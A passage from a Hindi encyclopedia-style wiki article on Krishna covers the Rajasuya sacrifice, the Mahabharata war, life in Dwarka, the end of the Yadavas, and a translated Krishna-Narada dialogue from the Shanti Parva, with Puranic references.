शस्त्रास्त्र भी प्रदान किये । [[ऋग्वेद]] में असुरों के दृढ़ और विशाल क़िलों, महलों और हथियारों के उल्लेख मिलते हैं। खांडव-वन में मय असुर तथा उसके कुछ काल पहले मधुवन में मधु तथा [[लवणासुर|लवण]] असुर का होना एक महत्त्वपूर्ण बात है।</ref>
 
 
 
==पांडवों का राजसूय यज्ञ और जरासंध का वध==
 
[[चित्र:Radha-Krishna-4.jpg|thumb|250px|[[राधा]]-कृष्ण]]
 
कुछ समय बाद युधिष्ठिर ने राजसूय यज्ञ की तैयारियाँ आरंभ कर दी। और आवश्यक परामर्श के लिए कृष्णा को बुलाया। कृष्ण इन्द्रप्रस्थ आये और उन्होंने [[राजसूय यज्ञ]] के विचार की पुष्टि की। उन्होंने यह सुझाव दिया कि पहले अत्याचारी शासकों को नष्ट कर दिया जाय और उसके बाद यज्ञ का आयोजन किया जाय। कृष्ण ने युधिष्ठिर को सबसे पहले जरासंध पर चढ़ाई करने की मन्त्रणा दी। तद्नुसार [[भीम (पांडव)|भीम]] और अर्जुन के साथ कृष्ण रवाना हुए और कुछ समय बाद मगध की राजधानी गिरिब्रज पहुँच गये। कृष्ण की नीति सफल हुई और उन्होंने भीम के द्वारा मल्लयुद्ध में जरासंध को मरवा डाला। जरासंध की मृत्यु के बाद कृष्ण ने उसके पुत्र [[सहदेव]] को मगध का राजा बनाया।<ref> कृष्ण और पांडवों के पूर्व से लौटने के बाद सहदेव के कई प्रतिद्वंदी खड़े हो गये, जिन्होंने मगध साम्राज्य के पूर्वी भाग पर अधिकार कर लिया। कुरुराज दुर्योधन ने कुछ समय बाद [[कर्ण]] को [[अंग महाजनपद|अंग देश]] का शासक बनाया, जिसने बंग और पुंड्र राज्यों को भी अपने अधिकार में कर लिया। इस प्रकार दुर्योधन को पूर्व में एक शक्तिशाली सहायक प्राप्त हो गया।</ref> फिर उन्होंने गिरिब्रज के कारागार में बन्द बहुत से राजाओं को मुक्त किया। इस प्रकार कृष्ण ने जरासंध-जैसे महापराक्रमी और क्रूर शासक का अन्त कर बड़ा यश पाया। जरासंध के पश्चात पांडवों ने भारत के अन्य कितने ही राजाओं को जीता।
 
 
 
अब पांडवों का राजसूय यज्ञ बड़ी धूमधाम से आरम्भ हुआ। कृष्ण ने यज्ञ में आये हुए ब्राह्मणों के पैर आदर-भाव से धोये। ब्रह्मचारी [[भीष्म]] ने कृष्ण की प्रशंसा की तथा उनकी `अग्रपूजा` करने का प्रस्ताव किया। सहदेव ने सर्वप्रथम कृष्णको अर्ध्यदान दिया। चेदि-नरेश शिशुपाल कृष्ण के इस सम्मान को सहन न कर सका और उलटी-सीधी बातें करने लगा। उसने युधिष्ठिर से कहा कि 'कृष्ण न तो ऋत्विक् है, न राजा और न आचार्य। केवल चापलूसी के कारण तुमने उसकी पूजा की है।'<ref>नैव ऋत्विङ् न चाचार्यो न राजा मधुसूदन: ।<br />
 
चर्चितश्य कुरुश्रेष्ठ किमन्यत्प्रियकाम्यया ।। (महाभारत 2,37,17</ref> शिशुपाल दो कारणों से कृष्ण से विशेष द्वेष मानता था-प्रथम तो विदर्भ कन्या रुक्मिणी के कारण, जिसको कृष्ण हर लाये थे और शिशुपाल का मनोरथ अपूर्ण रह गया था। दूसरे जरासंध के वध के कारण, जो शिशुपाल का घनिष्ठ मित्र था। जब शिशुपाल यज्ञ में कृष्ण के अतिरिक्त भीष्म और पांडवों की भी निंदा करने लगा तब कृष्ण से न सहा गया और उन्होंने उसे मुख बंद करने की चेतावनी दी। किंतु वह चुप नहीं रह सका। कृष्ण ने अन्त में शिशुपाल को यज्ञ में ही समाप्त कर दिया। अब पांडवों का राजसूर्य यज्ञ पूरा हुआ। पर इस यज्ञ तथा पांडवों की बढ़ती को देख उनके प्रतिद्वंद्वी [[कौरव|कौरवों]] के मन में विद्वेश की अग्नि प्रज्वलित हो उठी और वे पांडवों को नीचा दिखाने का उपाय सोचने लगे।
 
 
 
==युद्ध की पृष्ठ भूमि==
 
यज्ञ के समाप्त हो जाने पर कृष्ण युधिष्ठिर से आज्ञा ले द्वारका लौट गये। इसके कुछ समय उपरांत दुर्योधन ने अपने मामा [[शकुनि]] की सहायता से छल द्वारा जुए में पांडवों को हरा दिया और उन्हें इस शर्त पर तेरह वर्ष के लिए निर्वासित कर दिया कि अंतिम वर्ष उन्हें अज्ञातवास करना पड़ेगा। पांडव द्रौपदी के साथ [[काम्यकवन]] की ओर चले गये। उनके साथ सहानुभूति रखने वाले बहुत से लोग काम्यक वन में पहुँचे, जहाँ पांडव ठहरे थे। भोज, वृष्णि और अंधक-वंशी यादव तथा पंचाल-नरेश द्रुपद भी उनसे मिले। कृष्ण को जब यह सब ज्ञात हुआ तो वह शीघ्र पांडवों से मिलने आये। उनकी दशा देख तथा द्रौपदी की आक्रोशपूर्ण प्रार्थना सुन कृष्ण द्रवित हो उठे। उन्होंने द्रौपदी को वचन दिया कि वे पांडवों की सब प्रकार से सहायता करेगें और उनका राज्य वापस दिलावेंगे। [[चित्र:Radha-1.jpg|thumb|left|विरहिणी [[राधा]]]] इसके बाद कृष्ण सुभद्रा तथा उसके बच्चे [[अभिमन्यु]] को लेकर द्वारका वापस गये। पांडवों ने अज्ञातवास का एक साल राजा [[विराट]] के यहाँ व्यतीत किया। कौरवों ने विराट पर चढ़ाई कर उनके पशु छीन लिये थे, पर पांडवों की सहायता से विराट ने कौरवों पर विजय पाई और अपने पशुओं को लौटा लिया। विराट को अन्त में यह ज्ञात हुआ कि उनके यहाँ पांडव गुप्त रूप से अब तक निवास करते रहे थे। उन्होंने अपनी पुत्री [[उत्तरा]] का विवाह अर्जुन के पुत्र अभिमन्यु के साथ कर दिया। इस विवाह में अभिमन्यु के मामा कृष्ण बलदेव भी सम्मिलित हुए।
 
 
 
इसके उपरांत [[विराट नगर]] में सभा हुई और उसमें विचार किया गया कि कौरवों से पांडवों का समझौता किस प्रकार कराया जाय। बलराम ने कहा कि शकुनि का इस झगड़े में कोई दोष नहीं था; युधिष्ठिर उसके साथ जुआ खेलने ही क्यों गये ? हाँ, यदि किसी प्रकार संधि हो जाय तो अच्छा है। सात्यकि और द्रुपद को बलराम की ये बाते अच्छी नहीं लगी। कृष्ण ने द्रुपद के कथन की पुष्टि करते हुए कहा कि कौरव अवश्य दोषी है। अतं में सर्व-सम्मति से यह तय हुआ कि संधि के लिए किसी योग्य व्यक्ति को दुर्योधन के पास भेजा जाय। द्रुपद ने अपने पुरोहित को इस काम के लिए भेजा। कृष्ण इस सभा में सम्मिलित होने के बाद द्वारका चले गये। संधि की बात तब न हो सकी। दुर्धोधन पांडवों को पाँच गाँव तक देने की राजी न हुआ। अब युद्ध अनिवार्य जानकर दुर्योधन और अर्जुन दोनों श्री कृष्ण ने सहायता प्राप्त करने के लिए द्वारका पहुँचे। नीतिज्ञ कृष्ण ने पहले दुर्योधन ने पूछा कि तुम मुझे लोगे या मेरी सेना को ? दुर्योधन ने तत्त्काल सेना मांगी। कृष्ण ने अर्जुन को वचन दिया कि वह उसके सारथी बनेगें और स्वयं शस्त्र न ग्रहण करेगें।
 
 
 
कृष्ण अर्जुन के साथ इन्द्रप्रस्थ आ गये। कृष्ण के आने पर पांडवों ने फिर एक सभा की और निश्चय किया कि एक बार संधि का और प्रयत्न किया जाय। युधिष्ठिर ने अपना मत प्रकट करने हुए कहा- हम पाँच भाइयों को अविस्थल, वृकस्थल, माकन्दी, वारणाबत और एक कोई अन्य गांव निर्वाह मात्र के लिए चाहिए। इतने पर ही हम मान जायेगें, अन्यथा युद्ध के लिए प्रस्तुत होना पड़ेगा। उनके इस कथन का समर्थन अन्य लोगों ने लिए प्रस्तुत होना पड़ेगा। उनके इस कथन का समर्थन अन्य लोगों ने भी किया। वह तय हुआ कि इस बार संधि का प्रस्ताव लेकर कृष्ण कौरवों के पास जाये। कृष्ण संधि कराने को बहुत इच्छुक थे। उन्होंने दुर्योधन की सभा में जाकर उसे समझाया और कहा कि केवल पाँच गाँव पांडवों को देकर झगड़ा समाप्त कर दिया जाय। परंतु अभिमानी दुर्योधन स्पष्ट कह दिया कि बिना युद्ध के वह पांडवों को सुई की नोंक के बराबर भी ज़मीन न देगा।
 
 
 
==महाभारत युद्ध==
 
[[चित्र:krishna-arjun1.jpg|thumb|250px|कृष्ण और [[अर्जुन]]]]
 
इस प्रकार कृष्ण भी संधि कराने में असफल हुए। अब युद्ध अनिवार्य हो गया। दोनों पक्ष अपनी-अपनी सेनाएँ तैयार करने लगे। इस भंयकर युद्धग्नि में इच्छा या अनिच्छा से आहुति देने को प्राय: सारे भारत के शासक शामिल हुए। पांडवों की ओर मध्स्य, [[पंचाल]], [[चेदि]], कारूश, पश्चिमी मगध, [[काशी]] और कंशल के राजा हुए। सौराष्ट्र-[[गुजरात]] के वृष्णि यादव भी पांडवो के पक्ष में रहे। कृष्ण, युयंधान और सात्यकि इन यादवों के प्रमुख नेता थे। ब्रजराम अद्यपि कौरवों के पक्षपाती थे, तो भी उन्होंने कौरव-पांडव युद्ध में भाग लेना उचित न समझा और वे तीर्थ-पर्यटन के लिए चले गये। कौरवों की और शूरसेन प्रदेश के यादव तथा महिष्मती, [[अवंति]], [[विदर्भ]] और निषद देश के यादव हुए। इनके अतिरिक्त पूर्व में बंगाल, आसाम, उड़ीसा तथा उत्तर-पश्चिम एवं पश्चिम भारत के बारे राजा और [[वत्स]] देश के शासक कौरवों की ओर रहे। इस प्रकार मध्यदेश का अधिकांश, गुजरात और सौराष्ट्र का बड़ा भाग पांडवों की ओर था और प्राय: सारा पूर्व, उत्तर-पश्चिम और पश्चिमी विंध्य कौरवों की तरफ। पांडवों की कुल सेना सात अक्षौहिणी तथा कौरवों की ग्यारह अक्षौहिणी थी।
 
 
 
दोनों ओर की सेनाएं युद्ध के लिए तैयार हुई। कृष्ण, धृष्टद्युम्न तथा सात्वकि ने पांडव-सैन्य की ब्यूह-रचना की। कुरुक्षेत्र के प्रसिद्ध मैदान में दोनों सेनाएं एक-दूसरे के सामने आ डटीं। अर्जुन के सारथी कृष्ण थे। युद्धस्थल में अपने परिजनों आदि को देखकर अर्जुन के चित्त में विषाद उत्पन्न हुआ और उसने युद्ध करने से इंकार कर दिया। तब श्रीकृष्ण ने अर्जुन को गीता के निष्काम कर्मयोग का उपदेश दिया और उसकी भ्रांति दूर की। अब अर्जुन के युद्ध के लिए पूर्णतया प्रस्तुत हो गया। महाभारत युद्ध में [[शंख]] का भी अत्यधिक महत्त्व था। शंखनाद के साथ युद्ध प्रारंभ होता था। जिस प्रकार प्रत्येक रथी सेनानायक का अपना ध्वज होता था, उसी प्रकार प्रमुख योद्धाओं के पास अलग-अलग शंख भी होते थे। भीष्मपर्वांतर्गत गीता उपपर्व के प्रारंभ में विविध योद्धाओं के नाम दिए गए हैं। कृष्ण के शंख का नाम 'पांचजन्य' था, [[अर्जुन]] का 'देवदत्त', [[युधिष्ठिर]] का 'अनंतविजय', [[भीम]] का 'पौण्ड', [[नकुल]] का 'सुघोष' और [[सहदेव]] का 'मणिपुष्पक'। अठारह दिन तक यह महाभीषण संग्राम होता रहा। देश का अपार जन-धन इसमें स्वाहा हो गया। कौरवों के शक्तिशाली सेनापति [[भीष्म]], [[द्रोण]], कर्ण, [[शल्य]] आदि धराशायी हो गये। अठारहवें दिन दुर्योधन मारा गया और महाभारत युद्ध की समाप्ति हुई। यद्यपि पांडव इस युद्ध में विजयी हुए, पर उन्हें शांति न मिल सकी। चारों और उन्हें क्षोभ और निराशा दिखाई पड़ने लगी। श्रीकृष्ण ने शरशय्या पर लेटे हुए भीष्मपितामह से युधिष्ठर को उपदेश दिलवाया। फिर हस्तिनापुर में राज्याभिषेक-उत्सव सम्पन्न करा कर वे द्वारका लौट गये। पांडवों ने कुछ समय बाद एक [[अश्वमेध यज्ञ]] किया और इस प्रकार वे भारत के चक्रवर्ती सम्राट् घोषित हुए। कृष्ण भी इस यज्ञ में सम्मिलित हुए और फिर द्वारका वापस चले गये। यह कृष्ण की अंतिम हस्तिनापुर यात्रा थी। अब वे वृद्ध हो चुके थे। महाभारत-संग्राम में उन्हें जो अनवरत परिश्रम करना पड़ा उसका भी उनके स्वास्थ्य पर प्रभाव पड़ना स्वाभाविक था।
 
[[चित्र:Dwarkadhish-Temple-Dwarka-Gujarat-2.jpg|thumb|250px|left|[[द्वारिकाधीश मंदिर द्वारका|द्वारिकाधीश मन्दिर]], [[द्वारका]]]]
 
 
 
==श्रीकृष्ण का द्वारका का जीवन==
 
द्वारका के विषय में ऊपर लिखा जा चुका है कि यह नगर बिलकुल नवीन नहीं था। वैवस्वत मनु के एक पुत्र [[शर्याति]] को शासन में पश्चिमी भारत का भाग मिला था। शर्याति के पुत्र आनर्त के नाम पर कठियावाड़ और समीप के कुछ प्रदेश का नाम आनंत प्रसिद्ध हुआ। उसकी राजधानी कुशस्थली के ध्वंसावशेषों पर कृष्ण कालीन द्वारका की स्थापना हुई।<ref> यह स्थान आजकल 'मूल द्वारका' के नाम से ज्ञात है और प्रभास-पट्टन के पूर्व कोडीनार के समीप स्थित है। औखामंडल वाली द्वारका बाद में बसाई हुई प्रतीत होती है। सौराष्ट्र में एक तीसरी द्वारका [[पोरबंदर]] के पास है।</ref> यहाँ आकर कृष्ण ने उग्रसेन को वृष्णिगण का प्रमुख बनाया। द्वारका में कृष्ण के वैयक्तिक जीवन की पहली मुख्य घटना थी-कुंडिनपुर<ref> यह कुंडिननुर विदर्भ देश (बरार) में था। एक जनश्रुति के अनुसार कुंडिनपुर उत्तरप्रदेश के एटा ज़िले में वर्तमान नोहखेड़ा के पास था। किंवदंती है कि कृष्ण यहीं से रुक्मिणी को ले गये थे। नोहखेड़ा में आज भी रुक्मिणी की मढ़िया बनी है, जहाँ लगभग आठवीं शती की एक अत्यंत कलापूर्ण पाषाण-मूर्ति रुक्मिणी के नाम से पूजी जाती है। खेड़े से अन्य प्राचीन कलावशेष प्राप्त हुए हैं। यह स्थान एटा नगर से क़रीब 20 मील दक्षिण जलेसर तहसील में है।</ref> की सुंदरी राजकुमारी रुक्मिणी के साथ विवाह। हरिवंश पुराण में यह कथा विस्तार से दी हुई है। रुक्मिणी का भाई [[रुक्मी]] था। वह अपनी बहन का विवाह चेदिराज शिशुपाल से करना चाहता था। मगधराज जरासंध भी यही चाहता था। किंतु कुंडिनपुर का राजा कृष्ण को ही अपनी कन्या देना चाहता था। रुक्मिणी स्वयं भी कृष्ण को वरना चाहती थी। उनके सौंदर्य और शौर्य की प्रशंसा सुन रखी थी। रुक्मिणी का स्वयंवर रचा गया और वहाँ से कृष्ण उसे हर ले गये। जिन लोगों ने उनका विरोध किया वे पराजित हुए। इस घटना से शिशुपाल कृष्ण के प्रति गहरा द्वेष मानने लगा।
 
 
 
हरिवंश के अनुसार बलराम का विवाह भी द्वारका जाकर हुआ।<ref> हरि., अ. 116। बलराम का विवाह आनर्त-वंशी यादव रेवत की पुत्री रेवती से हुआ।</ref> संभवत: पहले बलराम का विवाह हुआ, फिर कृष्ण का। बाद के पुराणों में बलराम और रेवती की विचित्र कथा मिलती है। कृष्ण की अन्य पत्नियाँ-रुक्मिणी के अतिरिक्त कृष्ण की सात अन्य पत्नियाँ होने का उल्लेख प्राय: सभी पुराणों में मिलता है।<ref> [[भागवत पुराण]] (56-57), [[वायु पुराण]] (96, 20-98), [[पद्म पुराण]] (276, 1-37), [[ब्रह्म वैवर्त पुराण]] (122), [[ब्रह्माण्ड पुराण]] (201, 15), [[हरिवंश पुराण]] (118) आदि । पुराणों में नरकासुर का श्रीकृष्ण के द्वारा वध तथा उसके द्वारा बंदी सोलह हज़ार स्त्रियों के छुड़ाने का भी वर्णन मिलता है और कहा गया है कि कृष्ण ने इन सबसे विवाह कर लिया।</ref>  इनके नाम [[सत्यभामा]], [[जांबवती]], कालिंदी, मित्रविंदा, सत्या, भद्रा और लक्ष्मण दिये हैं। इनमें से कोई को तो उनके माता-पिता ने विवाह में प्रदान किया और शेष को कृष्ण विजय में प्राप्त कर लाये। सतांन-पुराणों से ज्ञात होता है कि कृष्ण के संतानों की संख्या बड़ी थी ।<ref> दे. भागवत पुराण 61, 1-19; हरिवंश पुराण118 तथा 162; ब्रह्मवैवर्त पुराण 112, 36-41 आदि।</ref> [[रुक्मिणी]] से दस पुत्र और एक कन्या थी इनमें सबसे बड़ा [[प्रद्युम्न]] था। भागवतादि पुराणों में कृष्ण के गृहस्थ-जीवन तथा उनकी दैनिक चर्या का हाल विस्तार से मिलता है। प्रद्युम्न के पुत्र [[अनिरुद्ध]] का विवाह शोणितपुर<ref> यह [[शोणितपुर]] कहाँ था, इस संबंध में विद्वानों के विभिन्न मत हैं। कुछ लोग इसे [[टिहरी गढ़वाल ज़िला|टिहरी गढ़वाल ज़िले]] में [[रुद्रप्रयाग]] के उत्तर [[उखीमठ]] के समीप मानते हैं। कुमायूँ पहाड़ी का कोटलगढ़ आगरा के समीप बयाना, [[नर्मदा नदी|नर्मदा]] पर स्थित तेवर (प्राचीन त्रिपुरी) तथा आसाम के [[तेजपुर]] को भी विभिन्न मतों के अनुसार शोणितपुर माना जाता है। श्री अमृतवसंत पंड्या का मत है कि शोणितपुर असीरिया में था और श्रीकृष्ण ने असीरिया पर आक्रमण कर बाणासुर (असुरबानी पाल प्रथम) को परास्त किया (ब्रजभारती, फाल्गुन, सं. 2009, पृ. 25-31)। </ref> के राजा वाणासुर की पुत्री ऊषा के साथ हुआ।
 
 
 
==यादवों का अंत==
 
[[चित्र:Dwarkadhish Temple Mathura 2.jpg|[[द्वारिकाधीश मन्दिर मथुरा|द्वारिकाधीश मन्दिर]], [[मथुरा]]|thumb|250px]]
 
अंधक-वृष्णि यादव बड़ी संख्या में महाभारत युद्ध में काम आये। जो शेष बचे वे आपस में मिल-जुल कर अधिक समय तक न रह सके। श्रीकृष्ण-बलराम अब काफ़ी वृद्ध हो चुके थे और संभवत: यादवों के ऊपर उनका प्रभाव भी कम हो गया था। पौराणिक विवरणों से पता चलता है कि यादवों में विकास की वृद्धि हो चली थी और ये मदिरा-पान अधिक करने लगे थे। कृष्ण-बलराम के समझाने पर भी ऐश्वर्य से मत्त यादव न माने और वे कई दलों में विभक्त हो गये। एक दिन [[प्रभास]] के मेले में, जब यादव लोग वारुणी के नशें में चूर थे, वे आपस में लड़ने लगे। वह झगड़ा इतना बढ़ गया कि अंत में वे सामूहिक रूप से कट मरे। इस प्रकार यादवों ने गृह-युद्ध अपना अन्त कर लिया।<ref> विभिन्न पुराणों में इस गृह-युद्ध का वर्णन मिलता है और कहा गया है कि ऋषियों के शाप के कारण कृष्ण-पुत्र सांब के पेट से एक मुशल उत्पन्न हुआ, जिससे यादव-वंश का नाश हो गया। दे. महाभारत, मुशल पर्व; ब्रह्म पुर. 210-12; विष्णु. 37-38; भाग0 ग्यारहवां स्कंध अ. 1,6,30,31; लिंग पु. 69,83-94 आदि </ref>
 
 
 
==अंतिम समय==
 
प्रभास के यादवयुद्ध में चार प्रमुख व्यक्तियों ने भाग नहीं लिया, जिससे वे बच गये। ये थे-कृष्ण, बलराम, दारुक सारथी और बभ्रु। बलराम दु:खी होकर समुद्र की ओर चले गये और वहाँ से फिर उनका पता नहीं चला। कृष्ण बड़े मर्माहत हुए। वे द्वारका गये और दारुक को अर्जुन के पास भेजा कि वह आकर स्त्री-बच्चों को हस्तिनापुर लिवा ले जायें। कुछ स्त्रियों ने जल कर प्राण दे दिये। अर्जुन आये और शेष स्त्री-बच्चों को लिवा कर चले।<ref> संभवत: इस अवसर पर अर्जुन की कृष्ण से भेंट न हो सकी। कृष्ण पहले ही द्वारका छोड़ गये होंगे। महाभारत (16,7) में श्रीकृष्ण के पिता वसुदेव से अर्जुन के मिलने का उल्लेख है, जिससे पता चलता है कि वसुदेव इस समय तक जीवित थे। इसके बाद वसुदेव की मृत्यु तथा उनके साथ चार विधवा पत्नियों के चितारोहण का कथन मिलता है।</ref>  कहते है मार्ग में पश्चिमी राजपूताना के जंगली आभीरों से अर्जुन को मुक़ाबला करना पड़ा। कुछ स्त्रियों को आभीरों ने लूट लिया।<ref> महाभारत 16,8,60; ब्रह्म. 212,26।</ref> शेष को अर्जुन ने शाल्ब देश और कुरु देश में बसा दिया। कृष्ण शोकाकुल होकर घने वन में चले गये थे। वे चिंतित हो लेटे हुए थे कि जरा नामक एक बहेलियें ने हरिण के भ्रम से तीर मारा। वह वाण श्रीकृष्ण के पैर में लगा, जिससे शीघ्र ही उन्होंने इस संसार को छोड़ दिया। मृत्यु के समय वे संभवत: 100 वर्ष से कुछ ऊपर थे। कृष्ण के देहांत के बाद द्वापर का अंत और कलियुग का आरंभ हुआ। श्रीकृष्ण के अंत का इतिहास वास्तव में यादव गण-तंत्र के अंत का इतिहास है। कृष्ण के बाद उनके प्रपौत्र बज्र यदुवंश के उत्तराधिकारी हुए। पुराणों के अनुसार वे मथुरा आये और इस नगर को उन्होंने अपना केन्द्र बनाया। कही-कहीं उन्हें इन्द्रप्रस्थ का शासक कहा गया है।
 
[[चित्र:Krishna-Janmbhumi-Mathura-4.jpg|thumb|left|आकर्षक वस्त्रों से सजे [[श्रीकृष्ण]]]]
 
==कृष्ण नारद संवाद==
 
यादवों के [[अंधक]]-[[वृष्णि संघ]] की कार्य-प्रणाली गणतंत्रात्मक थी और बहुत समय तक वह अच्छे ढंग से चलती रही। प्राचीन साहित्यिक उल्लेखों से पता चलता है कि अंधक-वृष्णि-संघ काफ़ी प्रसिद्धि प्राप्त कर चुका था। इसका मुख्य कारण यही था कि संघ के द्वारा गणराज्य के सिद्धांतों का सम्यक् रूप से पालन होता था; चुने हुए नेताओं पर विश्वास किया जाता था। ऐसा प्रतीत होता है कि कालांतर में अंधकों और वृष्णियों की अलग-अलग मान्यताएँ हो गई और उनमें कई दल हो गये। प्रत्येक दल अब अपना राजनीतिक प्रमुख स्थापित करने के लिए प्रयत्नशील रहने लगा। इनकी सभाओं में सदस्यों को जी भर कर आवश्यक विवाद करने की स्वतन्त्रता थी। एक दल दूसरे की आलोचना भी करता था। जिस प्रकार आजकल अच्छे से अच्छे सामाजिक कार्यकर्ताओं की भी बुराइयाँ होती है, उसी प्रकार उस समय भी ऐसे दलगत आक्षेप हुआ करते थे। '''[[शान्ति पर्व महाभारत|महाभारत के शांति पर्व]] के 81वें अध्याय में एक ऐसे वाद-विवाद का वर्णन है जो तत्कालीन प्रजातन्त्रात्मक प्रणाली का अच्छा चित्र उपस्थित करता है।''' यह वर्णन [[श्रीकृष्ण]] और [[नारद]] के बीच संवाद के रूप में है। उसका [[हिन्दी]] अनुवाद नीचे दिया जाता है।
 
====वासुदेव उवाच====
 
*देवर्षि! जो व्यक्ति सुहृद न हो, जो सुहृद तो हो किन्तु पण्डित न हो तथा जो सुहृद और पण्डित तो हो किन्तु अपने मन को वश में न कर सका हो- ये तीनों ही परम गोपनीय मन्त्रणा को सुनने या जानने के अधिकारी नहीं हैं।
 
*स्वर्ग विचरनेवाले नारदजी! मैं आपके सौहार्द पर भरोसा रखकर आपसे कुछ निवेदन करूँगा। मनुष्य किसी व्यक्ति बुद्धि-बल की पूर्णता देखकर ही उससे कुछ पूछता या जिज्ञासा प्रकट करता है।
 
*मैं अपनी प्रभुता प्रकाशित करके जाति-भाइयों, कुटुम्बी-जनों को अपना दास बनाना नहीं चहता। मुझे जो भोग प्राप्त होते हैं, उनका आधा भाग ही अपने उपभोग में लाता हूँ, शेष आधा भाग कुटुम्बीजनों के लिये ही छोड़ देता हूँ और उनकी कड़वी बातों को सुनकर भी क्षमा कर देता हूँ। [[चित्र:Krishna-Janmbhumi-Mathura-2.jpg|thumb|श्रीकृष्ण, [[कृष्ण जन्मभूमि]], [[मथुरा]]]]
 
*देवर्षि! जैसे अग्नि को प्रकट करने की इच्छा वाला पुरुष अरणीकाष्ठ का मन्थन करता है, उसी प्रकार इन कुटुम्बी-जनों का कटुवचन मेरे हृदय को सदा मथता और जलाता रहता है।
 
*नारद जी! बड़े भाई बलराम में सदा ही असीम बल है; वे उसी में मस्त रहते हैं। छोटे भाई गद में अत्यन्त सुकुमारता है (अत: वह परिश्रम से दूर भागता है); रह गया बेटा प्रद्युम्न, सो वह अपने रूप-सौन्दर्य के अभिमान से ही मतवाला बना रहता है। इस प्रकार इन सहायकों के होते हुए भी मैं असहाय हूँ।
 
*नारद जी! अन्धक तथा वृष्णि वंश में और भी बहुत से वीर पुरुष हैं, जो महान सौभाग्यशाली, बलवान एवं दु:सह पराक्रमी हैं, वे सब के सब सदा उद्योगशील बने रहते हैं।
 
*ये वीर जिसके पक्ष में न हों, उसका जीवित रहना असम्भव है और जिसके पक्ष में ये चले जाएँ, वह सारा का सारा समुदाय ही विजयी हो जाए। परन्तु आहुक और [[अक्रूर]] ने आपस में वैमनस्य रखकर  मुझे इस तरह अवरुद्ध कर दिया है कि मैं इनमें किसी एक का पक्ष नहीं ले सकता।
 
*आपस में लड़ने वाले आहुक और अक्रूर दोनों ही जिसके स्वजन हों, उसके लिये इससे बढ़कर दु:ख की बात और क्या होगी? और वे दोनों ही जिसके सुहृद् न हों, उसके लिये भी इससे बढ़कर और दु:ख क्या हो सकता है? (क्योंकि ऐसे मित्रों का न रहना भी महान दु:खदायी होता है)
 
*महामते! जैसे दो जुआरियों की एक ही माता एक की जीत चाहती है तो दूसरे की भी पराजय नहीं चाहती, उसी प्रकार मैं भी इन दोनों सुहृदों में से एक की विजय कामना करता हूँ तो दूसरे की पराजय नहीं चाहता।
 
*नारद जी! इस प्रकार मैं सदा उभय पक्ष का हित चाहने के कारण दोनों ओर से कष्ट पाता रहता हूँ। ऐसी दशा में मेरा अपना तथा इन जाति-भाइयों का भी जिस प्रकार भला हो, वह उपाय आप बताने की कृपा करें।
 
[[चित्र:Krishna-Arjuna.jpg|thumb|left|[[महाभारत]] के युद्ध में [[अर्जुन]] को समझाते हुये श्रीकृष्ण]]
 
====नारद उवाच====
 
*नारद जी ने कहा- वृष्णिनन्दन श्रीकृष्ण! आपत्तियाँ दो प्रकार  की होती हैं- एक ब्रह्म और दूसरी आभ्यन्तर। वे दोनों ही स्वकृत<ref>जो आपत्तियाँ स्वत: अपना ही करतूतों से आती हैं, उन्हें स्वकृत कहते हैं।</ref> और परकृत<ref>जिन्हें लाने में दूसरे लोग निमित्त बनते हैं, वे विपत्तियाँ परकृत कहलाती है।</ref> भेद से दो-दो प्रकार की होती हैं।
 
*अक्रूर और आहुक से उत्पन्न हुई यह कष्टदायिनी आपत्ति जो आप को प्राप्त हुई है, आभ्यन्तर है और अपनी ही करतूतों से प्रकट हूई है। ये सभी जिनके नाम आपने गिनाये हैं, आपके ही वंश हैं।
 
*आपने स्वयं जिस ऐश्वर्य को प्राप्त किया था, उसे किसी प्रयोजन वश या स्वेच्छा से अथवा कटुवचन से डरकर दूसरे को दे दिया।
 
*सहायशाली श्री कृष्ण! इस समय उग्रसेन को दिया हुआ वह ऐश्वर्य दृढ़मूल हो चुका है। उग्रसेन के साथ जाति के लोग भी सहायक हैं; अत: उगले हुए अन्न की भाँति आप उस दिये हुए ऐश्वर्य को वापस नहीं ले सकते।
 
*श्री कृष्ण! [[अक्रूर]] और [[उग्रसेन राजा|उग्रसेन]] के अधिकार में गए हुए राज्य को भाई-बन्धुओं में फूट पड़ने के भय से अन्य की तो कौन कहे इतने शक्तिशाली होकर स्वयं भी आप किसी तरह वापस नहीं ले सकते।
 
*बड़े प्रयत्न से अत्यन्त दुष्कर कर्म महान संहाररूप युद्ध करने पर राज्य को वापस लेने का कार्य सिद्ध हो सकता है, परन्तु इसमें धन का बहुत व्यय और असंख्य मनुष्यों का पुन: विनाश होगा।
 
*अत: श्री कृष्ण! आप एक ऐसे कोमल शस्त्र से, जो लोह का बना हुआ न होने पर भी हृदय को छेद डालने में समर्थ है , परिमार्जन<ref>क्षमा, सरलता और कोमलता के द्वारा दोषों को दूर करना 'परिमार्जन' कहलाता है।</ref> और अनुमार्जन<ref>यथायोग्य सेवा-सत्कार के द्वारा हृदय में प्रीति उत्पन्न करना 'अनुमार्जन' कहा गया है।</ref> करके उन सबकी जीभ उखाड़ लें- उन्हें मूक बना दें (जिससे फिर कलह का आरम्भ न हो)
 
====वासुदेव उवाच====
 
[[चित्र:Makhanchor.jpg|thumb|माखनचोर कृष्ण]]
 
*भगवान श्री कृष्ण ने कहा- मुने! बिना लोहे के बने हुए उस कोमल शस्त्र को मैं कैसे जानूँ, जिसके द्वारा परिमार्जन और अनुमार्जन करके इन सबकी जिह्वा को उखाड़ लूँ।
 
====नारद उवाच====
 
*नारद जी ने कहा- श्री कृष्ण! अपनी शक्ति के अनुसार सदा अन्नदान करना, सहनशीलता, सरलता, कोमलता तथा यथायोग्य पूजन (आदर-सत्कार) करना यही बीना लोहे का बना हुआ शस्त्र है।
 
*जब सजातीय बन्धु आप के प्रति कड़वी तथा ओछी बातें कहना चाहें, उस समय आप मधुर वचन बोलकर उनके हृदय, वाणी तथा मन को शान्त कर दें।
 
*जो महापुरुष नहीं है, जिसने अपने मन को वश में नहीं किया है तथा जो सहायकों से सत्पन्न नहीं है, वह कोई भारी भार नहीं उठा सकता। अत: आप ही इस गुरुतर भार को हृदय से उठाकर वहन करें।
 
*समतल भूमिपर सभी बैल भारी भार वहन कर लेते हैं; परन्तु दुर्गम भूमि पर कठिनाई से वहन करने योग्य गुरुतर भार को अच्छे बैल ही ढोते हैं।
 
*केशव! आप इस यादवसंघ के मुखिया हैं। यदि इसमें फूट हो गयी तो इस समूचे संघ का विनाश हो जाएगा; अत: आप ऐसा करें जिससे आप को पाकर इस संघ का- इस यादवगणतन्त्र राज्य का मूलोच्छेद न हो जाए।
 
[[चित्र:Krishna-Butter-Cup.jpg|thumb|250px|left|माखन कटोरी]]
 
